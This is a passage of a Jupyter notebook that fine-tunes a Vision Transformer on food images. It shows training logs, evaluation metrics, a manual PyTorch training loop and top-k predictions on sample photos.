'paella',\n", + " 'pancakes',\n", + " 'panna_cotta',\n", + " 'peking_duck',\n", + " 'pho',\n", + " 'pizza',\n", + " 'pork_chop',\n", + " 'poutine',\n", + " 'prime_rib',\n", + " 'pulled_pork_sandwich',\n", + " 'ramen',\n", + " 'ravioli',\n", + " 'red_velvet_cake',\n", + " 'risotto',\n", + " 'samosa',\n", + " 'sashimi',\n", + " 'scallops',\n", + " 'seaweed_salad',\n", + " 'shrimp_and_grits',\n", + " 'spaghetti_bolognese',\n", + " 'spaghetti_carbonara',\n", + " 'spring_rolls',\n", + " 'steak',\n", + " 'strawberry_shortcake',\n", + " 'sushi',\n", + " 'tacos',\n", + " 'takoyaki',\n", + " 'tiramisu',\n", + " 'tuna_tartare',\n", + " 'waffles']" + ] + }, + "metadata": {}, + "execution_count": 15 + } + ], + "source": [ + "# extract the labels for our dataset\n", + "labels = ds[\"train\"].features[\"label\"].names\n", + "labels" + ] + }, + { + "cell_type": "code", + "execution_count": 13, + "metadata": { + "id": "ZUukexdrJGob" + }, + "outputs": [], + "source": [ + "import torch\n", + "\n", + "def collate_fn(batch):\n", + " return {\n", + " \"pixel_values\": torch.stack([x[\"pixel_values\"] for x in batch]),\n", + " \"labels\": torch.tensor([x[\"labels\"] for x in batch]),\n", + " }" + ] + }, + { + "cell_type": "markdown", + "source": [ + "# Defining the Metrics" + ], + "metadata": { + "id": "mNT_iBYyKGAE" + } + }, + { + "cell_type": "code", + "execution_count": 14, + "metadata": { + "id": "crXIbHCeJYFs", + "colab": { + "base_uri": "https://localhost:8080/", + "height": 81, + "referenced_widgets": [ + "a6f5330da3834963b3a47f9f9bb6a657", + "9a0cee1fc0644c768a1e7cfc7bb65469", + "c303a871150b40cf9209fc3f6da02e7d", + "9422c52eef304328a65551949c4eb982", + "7834179cb085439c96b265e34ca19309", + "2e7a21ab2dfc4858bd7d43451b16a179", + "9e3e30be4469468d8451dc6761d16bf6", + "343707c48e984b26a09c4adc25a510a5", + "444820c45f1241c59d0f7d1082e4c8d7", + "1933b7094ac4474abc1f48605ca4e0c4", + "db1683f3d8f44d4797dbc2a0f808bd2a", + "40eaac98a5b642b28298028de5b0a8f0", + "9185dd3b67964f1191210a7b104c4a88", + "5280d259979548ae9b302d3bfd06a1bd", + "1aa0c864c04d42329974b10668dd5eb7", + "a2699e131c4448d5bcc890f1f0c22c63", + "f40b643bece248458e3373e19f456325", + "dcf80cee15294d12aa9f5f2648a95028", + "1d0d738bddde42df9c434fe77f5c0307", + "c8aeb58e12b8427bb547022d7076a38b", + "04e02d2b23c149389db0cb519880b175", + "0f67af90cad747b99865abef12dd16a9" + ] + }, + "outputId": "43655744-224f-43bd-ebc1-846a1ca66b81" + }, + "outputs": [ + { + "output_type": "display_data", + "data": { + "text/plain": [ + "Downloading builder script: 0%| | 0.00/4.20k [00:00" + ], + "text/html": [ + "\n", + "
\n", + " \n", + " \n", + " [7104/7104 3:46:15, Epoch 3/3]\n", + "
\n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + " \n", + "
StepTraining LossValidation LossAccuracyF1
10001.4403000.5823730.8531490.852764
20000.7031000.4536420.8782970.878230
30000.4347000.4094640.8864550.886492
40000.3101000.3948010.8891880.888990
50000.2451000.3833080.8951680.895035
60000.1157000.3799270.8965150.896743
70000.1081000.3769850.8980590.898311

" + ] + }, + "metadata": {} + }, + { + "output_type": "stream", + "name": "stderr", + "text": [ + "***** Running Evaluation *****\n", + " Num examples = 25250\n", + " Batch size = 8\n", + "Saving model checkpoint to ./vit-base-food/checkpoint-1000\n", + "Configuration saved in ./vit-base-food/checkpoint-1000/config.json\n", + "Model weights saved in ./vit-base-food/checkpoint-1000/pytorch_model.bin\n", + "Image processor saved in ./vit-base-food/checkpoint-1000/preprocessor_config.json\n", + "***** Running Evaluation *****\n", + " Num examples = 25250\n", + " Batch size = 8\n", + "Saving model checkpoint to ./vit-base-food/checkpoint-2000\n", + "Configuration saved in ./vit-base-food/checkpoint-2000/config.json\n", + "Model weights saved in ./vit-base-food/checkpoint-2000/pytorch_model.bin\n", + "Image processor saved in ./vit-base-food/checkpoint-2000/preprocessor_config.json\n", + "***** Running Evaluation *****\n", + " Num examples = 25250\n", + " Batch size = 8\n", + "Saving model checkpoint to ./vit-base-food/checkpoint-3000\n", + "Configuration saved in ./vit-base-food/checkpoint-3000/config.json\n", + "Model weights saved in ./vit-base-food/checkpoint-3000/pytorch_model.bin\n", + "Image processor saved in ./vit-base-food/checkpoint-3000/preprocessor_config.json\n", + "Deleting older checkpoint [vit-base-food/checkpoint-1000] due to args.save_total_limit\n", + "***** Running Evaluation *****\n", + " Num examples = 25250\n", + " Batch size = 8\n", + "Saving model checkpoint to ./vit-base-food/checkpoint-4000\n", + "Configuration saved in ./vit-base-food/checkpoint-4000/config.json\n", + "Model weights saved in ./vit-base-food/checkpoint-4000/pytorch_model.bin\n", + "Image processor saved in ./vit-base-food/checkpoint-4000/preprocessor_config.json\n", + "Deleting older checkpoint [vit-base-food/checkpoint-2000] due to args.save_total_limit\n", + "***** Running Evaluation *****\n", + " Num examples = 25250\n", + " Batch size = 8\n", + "Saving model checkpoint to ./vit-base-food/checkpoint-5000\n", + "Configuration saved in ./vit-base-food/checkpoint-5000/config.json\n", + "Model weights saved in ./vit-base-food/checkpoint-5000/pytorch_model.bin\n", + "Image processor saved in ./vit-base-food/checkpoint-5000/preprocessor_config.json\n", + "Deleting older checkpoint [vit-base-food/checkpoint-3000] due to args.save_total_limit\n", + "***** Running Evaluation *****\n", + " Num examples = 25250\n", + " Batch size = 8\n", + "Saving model checkpoint to ./vit-base-food/checkpoint-6000\n", + "Configuration saved in ./vit-base-food/checkpoint-6000/config.json\n", + "Model weights saved in ./vit-base-food/checkpoint-6000/pytorch_model.bin\n", + "Image processor saved in ./vit-base-food/checkpoint-6000/preprocessor_config.json\n", + "Deleting older checkpoint [vit-base-food/checkpoint-4000] due to args.save_total_limit\n", + "***** Running Evaluation *****\n", + " Num examples = 25250\n", + " Batch size = 8\n", + "Saving model checkpoint to ./vit-base-food/checkpoint-7000\n", + "Configuration saved in ./vit-base-food/checkpoint-7000/config.json\n", + "Model weights saved in ./vit-base-food/checkpoint-7000/pytorch_model.bin\n", + "Image processor saved in ./vit-base-food/checkpoint-7000/preprocessor_config.json\n", + "Deleting older checkpoint [vit-base-food/checkpoint-5000] due to args.save_total_limit\n", + "\n", + "\n", + "Training completed. Do not forget to share your model on huggingface.co/models =)\n", + "\n", + "\n", + "Loading best model from ./vit-base-food/checkpoint-7000 (score: 0.37698468565940857).\n" + ] + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "TrainOutput(global_step=7104, training_loss=0.47385838654664186, metrics={'train_runtime': 13577.408, 'train_samples_per_second': 16.737, 'train_steps_per_second': 0.523, 'total_flos': 1.76256801415296e+19, 'train_loss': 0.47385838654664186, 'epoch': 3.0})" + ] + }, + "metadata": {}, + "execution_count": 19 + } + ], + "source": [ + "# start training\n", + "trainer.train()" + ] + }, + { + "cell_type": "code", + "execution_count": 20, + "metadata": { + "id": "akZ0-H5YQSuJ", + "colab": { + "base_uri": "https://localhost:8080/", + "height": 211 + }, + "outputId": "85b9cf1b-3fca-47ed-b4fe-5de2839e8cd5" + }, + "outputs": [ + { + "output_type": "stream", + "name": "stderr", + "text": [ + "***** Running Evaluation *****\n", + " Num examples = 25250\n", + " Batch size = 8\n" + ] + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "" + ], + "text/html": [ + "\n", + "

\n", + " \n", + " \n", + " [3157/3157 08:06]\n", + "
\n", + " " + ] + }, + "metadata": {} + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "{'eval_loss': 0.37698468565940857,\n", + " 'eval_accuracy': 0.8980594059405941,\n", + " 'eval_f1': 0.8983106653355424,\n", + " 'eval_runtime': 487.0104,\n", + " 'eval_samples_per_second': 51.847,\n", + " 'eval_steps_per_second': 6.482,\n", + " 'epoch': 3.0}" + ] + }, + "metadata": {}, + "execution_count": 20 + } + ], + "source": [ + "# trainer.evaluate(dataset[\"test\"])\n", + "trainer.evaluate()" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "wAZFCk5Gd1p0" + }, + "outputs": [], + "source": [ + "# start tensorboard\n", + "# %load_ext tensorboard\n", + "%reload_ext tensorboard\n", + "%tensorboard --logdir ./vit-base-food/runs" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "H_SsuMpFafPe" + }, + "source": [ + "## Alternatively: Training using PyTorch Loop\n", + "Run the two below cells to fine-tune using a regular PyTorch loop if you want." + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "C29idUGDd2yW" + }, + "outputs": [], + "source": [ + "# Training loop\n", + "from torch.utils.tensorboard import SummaryWriter\n", + "from torch.optim import AdamW\n", + "from torch.utils.data import DataLoader\n", + "\n", + "batch_size = 32\n", + "\n", + "train_dataset_loader = DataLoader(dataset[\"train\"], collate_fn=collate_fn, batch_size=batch_size, shuffle=True)\n", + "valid_dataset_loader = DataLoader(dataset[\"validation\"], collate_fn=collate_fn, batch_size=batch_size, shuffle=True)\n", + "\n", + "# define the optimizer\n", + "optimizer = AdamW(model.parameters(), lr=1e-5)\n", + "\n", + "log_dir = \"./image-classification/tensorboard\"\n", + "summary_writer = SummaryWriter(log_dir=log_dir)\n", + "\n", + "num_epochs = 3\n", + "model = model.to(device)\n", + "# print some statistics before training\n", + "# number of training steps\n", + "n_train_steps = num_epochs * len(train_dataset_loader)\n", + "# number of validation steps\n", + "n_valid_steps = len(valid_dataset_loader)\n", + "# current training step\n", + "current_step = 0\n", + "# logging, eval & save steps\n", + "save_steps = 1000\n", + "\n", + "def compute_metrics(eval_pred):\n", + " accuracy_score = accuracy.compute(predictions=eval_pred.predictions, references=eval_pred.label_ids)\n", + " f1_score = f1.compute(predictions=eval_pred.predictions, references=eval_pred.label_ids, average=\"macro\")\n", + " return {**accuracy_score, **f1_score}" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "2v6dNtUcd7-G" + }, + "outputs": [], + "source": [ + "for epoch in range(num_epochs):\n", + " # set the model to training mode\n", + " model.train()\n", + " # initialize the training loss\n", + " train_loss = 0\n", + " # initialize the progress bar\n", + " progress_bar = tqdm(range(current_step, n_train_steps), \"Training\", dynamic_ncols=True, ncols=80)\n", + " for batch in train_dataset_loader:\n", + " if (current_step+1) % save_steps == 0:\n", + " ### evaluation code ###\n", + " # evaluate on the validation set\n", + " # if the current step is a multiple of the save steps\n", + " print()\n", + " print(f\"Validation at step {current_step}...\")\n", + " print()\n", + " # set the model to evaluation mode\n", + " model.eval()\n", + " # initialize our lists that store the predictions and the labels\n", + " predictions, labels = [], []\n", + " # initialize the validation loss\n", + " valid_loss = 0\n", + " for batch in valid_dataset_loader:\n", + " # get the batch\n", + " pixel_values = batch[\"pixel_values\"].to(device)\n", + " label_ids = batch[\"labels\"].to(device)\n", + " # forward pass\n", + " outputs = model(pixel_values=pixel_values, labels=label_ids)\n", + " # get the loss\n", + " loss = outputs.loss\n", + " valid_loss += loss.item()\n", + " # free the GPU memory\n", + " logits = outputs.logits.detach().cpu()\n", + " # add the predictions to the list\n", + " predictions.extend(logits.argmax(dim=-1).tolist())\n", + " # add the labels to the list\n", + " labels.extend(label_ids.tolist())\n", + " # make the EvalPrediction object that the compute_metrics function expects\n", + " eval_prediction = EvalPrediction(predictions=predictions, label_ids=labels)\n", + " # compute the metrics\n", + " metrics = compute_metrics(eval_prediction)\n", + " # print the stats\n", + " print()\n", + " print(f\"Epoch: {epoch}, Step: {current_step}, Train Loss: {train_loss / save_steps:.4f}, \" + \n", + " f\"Valid Loss: {valid_loss / n_valid_steps:.4f}, Accuracy: {metrics['accuracy']}, \" +\n", + " f\"F1 Score: {metrics['f1']}\")\n", + " print()\n", + " # log the metrics\n", + " summary_writer.add_scalar(\"valid_loss\", valid_loss / n_valid_steps, global_step=current_step)\n", + " summary_writer.add_scalar(\"accuracy\", metrics[\"accuracy\"], global_step=current_step)\n", + " summary_writer.add_scalar(\"f1\", metrics[\"f1\"], global_step=current_step)\n", + " # save the model\n", + " model.save_pretrained(f\"./vit-base-food/checkpoint-{current_step}\")\n", + " image_processor.save_pretrained(f\"./vit-base-food/checkpoint-{current_step}\")\n", + " # get the model back to train mode\n", + " model.train()\n", + " # reset the train and valid loss\n", + " train_loss, valid_loss = 0, 0\n", + " ### training code below ###\n", + " # get the batch & convert to tensor\n", + " pixel_values = batch[\"pixel_values\"].to(device)\n", + " labels = batch[\"labels\"].to(device)\n", + " # forward pass\n", + " outputs = model(pixel_values=pixel_values, labels=labels)\n", + " # get the loss\n", + " loss = outputs.loss\n", + " # backward pass\n", + " loss.backward()\n", + " # update the weights\n", + " optimizer.step()\n", + " # zero the gradients\n", + " optimizer.zero_grad()\n", + " # log the loss\n", + " loss_v = loss.item()\n", + " train_loss += loss_v\n", + " # increment the step\n", + " current_step += 1\n", + " progress_bar.update(1)\n", + " # log the training loss\n", + " summary_writer.add_scalar(\"train_loss\", loss_v, global_step=current_step)\n", + " " + ] + }, + { + "cell_type": "markdown", + "source": [ + "# Performing Inference" + ], + "metadata": { + "id": "5nyMP4VRC_dG" + } + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "id": "nuOoflvoen7E" + }, + "outputs": [], + "source": [ + "# load the best model, change the checkpoint number to the best checkpoint\n", + "# if the last checkpoint is the best, then ignore this cell\n", + "best_checkpoint = 7000\n", + "# best_checkpoint = 150\n", + "model = ViTForImageClassification.from_pretrained(f\"./vit-base-food/checkpoint-{best_checkpoint}\").to(device)\n", + "# model = ViTForImageClassification.from_pretrained(f\"./vit-base-skin-cancer/checkpoint-{best_checkpoint}\").to(device)" + ] + }, + { + "cell_type": "code", + "execution_count": 25, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 35 + }, + "id": "PwI6sf8PPReE", + "outputId": "851ba75d-374c-483f-8e32-2fd38de848f0" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "'sushi'" + ], + "application/vnd.google.colaboratory.intrinsic+json": { + "type": "string" + } + }, + "metadata": {}, + "execution_count": 25 + } + ], + "source": [ + "get_prediction(model, \"https://images.pexels.com/photos/858496/pexels-photo-858496.jpeg?auto=compress&cs=tinysrgb&w=600&lazy=load\")" + ] + }, + { + "cell_type": "code", + "execution_count": 26, + "metadata": { + "id": "pkmjg6hGQ6DZ" + }, + "outputs": [], + "source": [ + "def get_prediction_probs(model, url_or_path, num_classes=3):\n", + " # load the image\n", + " img = load_image(url_or_path)\n", + " # preprocessing the image\n", + " pixel_values = image_processor(img, return_tensors=\"pt\")[\"pixel_values\"].to(device)\n", + " # perform inference\n", + " output = model(pixel_values)\n", + " # get the top k classes and probabilities\n", + " probs, indices = torch.topk(output.logits.softmax(dim=1), k=num_classes)\n", + " # get the class labels\n", + " id2label = model.config.id2label\n", + " classes = [id2label[idx.item()] for idx in indices[0]]\n", + " # convert the probabilities to a list\n", + " probs = probs.squeeze().tolist()\n", + " # create a dictionary with the class names and probabilities\n", + " results = dict(zip(classes, probs))\n", + " return results" + ] + }, + { + "cell_type": "code", + "execution_count": 27, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "N0pFDs9CRhqX", + "outputId": "18f4cc0b-86fe-4575-c7d4-82b832938b56" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "{'greek_salad': 0.9658474326133728,\n", + " 'caesar_salad': 0.019217027351260185,\n", + " 'beet_salad': 0.008294313214719296}" + ] + }, + "metadata": {}, + "execution_count": 27 + } + ], + "source": [ + "# example 1\n", + "get_prediction_probs(model, \"https://images.pexels.com/photos/406152/pexels-photo-406152.jpeg?auto=compress&cs=tinysrgb&w=600\")" + ] + }, + { + "cell_type": "code", + "execution_count": 28, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "urU-gg-gRjkN", + "outputId": "6ff8b804-beea-4136-988d-2eb40c732205" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "{'grilled_cheese_sandwich': 0.9855711460113525,\n", + " 'waffles': 0.0030371786560863256,\n", + " 'club_sandwich': 0.0017941497499123216}" + ] + }, + "metadata": {}, + "execution_count": 28 + } + ], + "source": [ + "# example 2\n", + "get_prediction_probs(model, \"https://images.pexels.com/photos/920220/pexels-photo-920220.jpeg?auto=compress&cs=tinysrgb&w=600\")" + ] + }, + { + "cell_type": "code", + "execution_count": 29, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "nHtsyIRLV-3A", + "outputId": "bbba9101-6884-4b2b-b7c6-eba4e70fbe10" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "{'donuts': 0.9919546246528625,\n", + " 'cup_cakes': 0.0018467127811163664,\n", + " 'beignets': 0.0009919782169163227}" + ] + }, + "metadata": {}, + "execution_count": 29 + } + ], + "source": [ + "# example 3\n", + "get_prediction_probs(model, \"https://images.pexels.com/photos/3338681/pexels-photo-3338681.jpeg?auto=compress&cs=tinysrgb&w=600\")" + ] + }, + { + "cell_type": "code", + "execution_count": 30, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "qbO_d45dXtwh", + "outputId": "ef11eaab-abc9-4519-957e-fbb057d07c8e" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "{'deviled_eggs': 0.9846165180206299,\n", + " 'caprese_salad': 0.0012617064639925957,\n", + " 'ravioli': 0.001060450915247202,\n", + " 'beet_salad': 0.0008713295101188123,\n", + " 'scallops': 0.0005976424436084926,\n", + " 'gnocchi': 0.0005376451299525797,\n", + " 'fried_calamari': 0.0005195785779505968,\n", + " 'caesar_salad': 0.0003912363899871707,\n", + " 'samosa': 0.0003842405858449638,\n", + " 'dumplings': 0.00036707069375552237}" + ] + }, + "metadata": {}, + "execution_count": 30 + } + ], + "source": [ + "# example 4\n", + "get_prediction_probs(model, \"https://images.pexels.com/photos/806457/pexels-photo-806457.jpeg?auto=compress&cs=tinysrgb&w=600\", num_classes=10)" + ] + }, + { + "cell_type": "code", + "execution_count": 31, + "metadata": { + "id": "NAhzhcbhXyYA", + "colab": { + "base_uri": "https://localhost:8080/" + }, + "outputId": "98b811a4-b43f-4c87-b7c2-fcc678281157" + }, + "outputs": [ + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "{'fried_rice': 0.8101670145988464,\n", + " 'paella': 0.06818010658025742,\n", + " 'steak': 0.015688087791204453}" + ] + }, + "metadata": {}, + "execution_count": 31 + } + ], + "source": [ + "get_prediction_probs(model, \"https://images.pexels.com/photos/1624487/pexels-photo-1624487.jpeg?auto=compress&cs=tinysrgb&w=600\")" + ] + } + ], + "metadata": { + "accelerator": "GPU", + "colab": { + "provenance": [], + "collapsed_sections": [ + "H9ZcQf_HDXl6", + "H_SsuMpFafPe" + ], + "toc_visible": true + }, + "gpuClass": "standard", + "kernelspec": { + "display_name": "Python 3", + "name": "python3" + }, + "language_info": { + "name": "python" + }, + "widgets": { + "application/vnd.jupyter.widget-state+json": { + "394913b4097b46a7984797f5d1deaaff": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_d7ac86078f0c4c7da2f137ad1ac478b3", + "IPY_MODEL_cc9c87b095054301a8f910ad3a2cf1a5", + "IPY_MODEL_c39369786d8843cda8dd4bfc116f42bf" + ], + "layout": "IPY_MODEL_dc110e5887304c40941cdd68163a4013" + } + }, + "d7ac86078f0c4c7da2f137ad1ac478b3": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_de81d798249b48c396d64575bad2c358", + "placeholder": "​", + "style": "IPY_MODEL_40687f7092f94f92a50e4d83c7147f2a", + "value": "Downloading builder script: 100%" + } + }, + "cc9c87b095054301a8f910ad3a2cf1a5": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_2c20eadf22c545a182bec19a81b3d99a", + "max": 6208, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_7086056225a44a7fb99f14d9d0a1f4cc", + "value": 6208 + } + }, + "c39369786d8843cda8dd4bfc116f42bf": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_fe7fbb909b154a4eaf05a906dd2a9c78", + "placeholder": "​", + "style": "IPY_MODEL_05ea400f1d864062bacb4e3a69312b4c", + "value": " 6.21k/6.21k [00:00<00:00, 317kB/s]" + } + }, + "dc110e5887304c40941cdd68163a4013": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "de81d798249b48c396d64575bad2c358": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "40687f7092f94f92a50e4d83c7147f2a": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "2c20eadf22c545a182bec19a81b3d99a": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "7086056225a44a7fb99f14d9d0a1f4cc": { + "model_module": "@jupyter-widgets/controls", + "model_name": "ProgressStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "fe7fbb909b154a4eaf05a906dd2a9c78": { + "model_module": "@jupyter-widgets/base", + "model_name": "LayoutModel", + "model_module_version": "1.2.0", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "05ea400f1d864062bacb4e3a69312b4c": { + "model_module": "@jupyter-widgets/controls", + "model_name": "DescriptionStyleModel", + "model_module_version": "1.5.0", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d6e7d1b10c7d4f5daa699d507c11f2d4": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HBoxModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_b778df9b11374c55ab77e6df61464af9", + "IPY_MODEL_0f5c260e80444e38ab3b3cd8b984b9b5", + "IPY_MODEL_a75144c534ac462487e2ee23e69ff6d6" + ], + "layout": "IPY_MODEL_b3b818659e20499e97e1dcfadac5bdb2" + } + }, + "b778df9b11374c55ab77e6df61464af9": { + "model_module": "@jupyter-widgets/controls", + "model_name": "HTMLModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_3f06b0e7f671425a84a8ba1eee6b91b4", + "placeholder": "​", + "style": "IPY_MODEL_ca6bcd38cf654331a5cc2a30f6b1eb60", + "value": "Downloading metadata: 100%" + } + }, + "0f5c260e80444e38ab3b3cd8b984b9b5": { + "model_module": "@jupyter-widgets/controls", + "model_name": "FloatProgressModel", + "model_module_version": "1.5.0", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + 